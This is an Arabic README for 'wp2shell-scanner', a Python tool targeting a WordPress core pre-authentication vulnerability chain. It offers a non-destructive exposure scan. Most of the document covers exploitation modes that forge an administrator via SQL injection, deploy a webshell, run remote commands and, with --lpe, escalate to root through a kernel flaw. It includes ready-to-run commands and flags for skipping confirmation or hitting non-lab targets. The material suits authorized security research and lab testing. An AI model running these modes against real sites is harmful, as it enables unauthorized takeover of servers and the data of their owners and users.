wp2shell-scanner

بواسطة @bahartanir (katherinepierce) مشتق من ZephrFish/wp2shell-scanner مع تحسينات إضافية. البحث بواسطة Adam Kues (Assetnote) و Mustafa Can İPEKÇİ (nukedx).

أداة كشف وتحقق لتعرض نواة ووردبريس لـ wp2shell (CVE-2026-63030 / CVE-2026-60137). يتم اختيار الأوضاع عبر راية (flag)، ويكون الهدف موضعيًا (positional). يقوم --scan ببصمة إصدار النواة وتأكيد أن مسار REST /batch/v1 يمكن الوصول إليه دون إرسال حمولة استغلال؛ أما أوضاع --check/--read/--shell/--rce/--root-prereq فهي إثبات التحقق (PoC) للاستخدام المخبري المصرح به.

wp2shell.py هو سكربت واحد يعتمد فقط على المكتبة القياسية — لا تبعيات خارجية. كل استدعاء يطبع الشعار (banner) إلى stderr قبل التشغيل (يبقى بعيدًا عن stdout، لذا لا يتأثر مخرج JSON الخاص بـ --scan -j).

أعلام الأوامر

يلزم تحديد علم وضع واحد بالضبط؛ الهدف موضعي (عنوان URL لكل وضع، أو قائمة مضيفين لـ --scan).

الموجز

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

أعلام الأوضاع (اختر واحدًا)

أعلام الخيارات

التحليل المعمق الأصلي: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

قالب Nuclei

nuclei -t wp2shell-exposure.yaml -u https://target

الفحص (غير التخريبي)

مضيف واحد، أو عدة مضيفين، أو ملف.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

الخيارات: -f/--file ملف المضيفين (سطر لكل مضيف)، -j/--json إخراج JSON، -t/--threads التزامن (الافتراضي 10).

إثبات التحقق (PoC)

ترسل أوضاع --check/--read/--shell/--rce/--root-prereq حمولات استغلال حية. شغّلها فقط ضد مختبر localhost المرفق، أو أنظمة أخرى تملكها ومصرح لك صراحة باختبارها. ينفذ --shell و--rce تنفيذ أوامر عن بُعد وهما مخصصان لأهداف المختبر/المصرح بها؛ يتطلب --rce على مضيف غير loopback الخيار --authorized. يستخدم --root-prereq نفس البرنامج المساعد التشخيصي المحمي برمز للتحقق من متطلبات الانتقال إلى الجذر، لكنه لا يشغّل تصعيد صلاحيات محلي.

يحتاج --shell إلى كلمة مرور إدارية مستعادة/مكسورة. أما --rce فهو سلسلة قبل المصادقة بدون بيانات اعتماد: يزوّر مديرًا خاصًا به عبر SQLi (oEmbed → changeset → إعادة الدخول إلى parse_request)، ثم ينشر قشرة الويب — دون الحاجة إلى كلمة مرور.

تطلب --shell و--rce و--root-prereq تفويضًا تفاعليًا y/N قبل إرسال أي حمولة تنفيذ كود (تتوقف عند إدخال غير تفاعلي/EOF). مرّر -y/--yes لتخطي الطلب للأتمتة ضد المختبر أو هدف مصرح به.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

فروق التصحيح (Patch diffs) المستخدمة لتأسيس PoC محفوظة تحت poc/diffs/، مع ملاحظات بحثية في poc/RESEARCH.md. يمكن إعادة بناء SQLi بالكامل من إصلاح author__not_in. سلسلة --rce بدون بيانات اعتماد (oEmbed → changeset → إعادة الدخول → إنشاء مدير) تعيد إنتاج RCE الافتراضي ضد المختبر المرفق؛ أما --shell فهو المسار البديل عبر بيانات اعتماد إدارية مستعادة/مكسورة لرفع برنامج مساعد مصادق عليه وتنفيذ الأوامر.

تصعيد الصلاحيات المحلي (--lpe)

يضمّ --lpe سلسلة RCE الكاملة قبل المصادقة (SQLi → تزوير مدير → قشرة ويب) مع محاولة تصعيد تلقائية إلى الجذر. يجرب ما يلي بالترتيب، ويتوقف عند أول نجاح:

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

يتطلب --lpe على هدف غير loopback الخيار --authorized. في المختبر المرفق (صورة أساسية Ubuntu 22.04 مع نواة GameOverlay هشة) ينجح CVE-2023-2640/32629 دون مترجم.